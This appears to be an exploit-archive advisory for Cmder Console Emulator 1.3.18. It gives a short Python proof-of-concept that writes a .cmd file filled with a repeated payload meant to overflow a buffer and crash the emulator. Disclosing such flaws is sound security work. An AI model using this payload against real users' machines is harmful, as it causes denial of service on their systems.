Cmder Console Emulator 1.3.18 - Denial-of-Service (PoC)

2021.10.09

Aryan Chehreghani (IR)

Risk: Medium

Local: Yes

Remote: Yes

CVE: N/A

CWE: N/A

# Date: 2021-10-07
# Exploit Author: Aryan Chehreghani
# Vendor Homepage: https://cmder.net
# Software Link: https://github.com/cmderdev/cmder/releases/download/v1.3.18/cmder.zip
# Version: v1.3.18
# Tested on: Windows 10 

# [About - Cmder Console Emulator] :

#Cmder is a software package created over absence of usable console emulator on Windows.
#It is based on ConEmu with major config overhaul, comes with a Monokai color scheme, amazing clink (further enhanced by clink-completions) and a custom prompt layout.

# [Security Issue] : 

#equires the execution of a .cmd file type and The created file enters the emulator ,That will trigger the buffer overflow condition. 
#E.g  λ cmder.cmd

# [POC] :

PAYLOAD=chr(235) + "\\CMDER"
PAYLOAD = PAYLOAD * 3000
with open("cmder.cmd", "w") as f:
f.write(PAYLOAD)
            

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Cmder Console Emulator 1.3.18 - Denial-of-Service (PoC)

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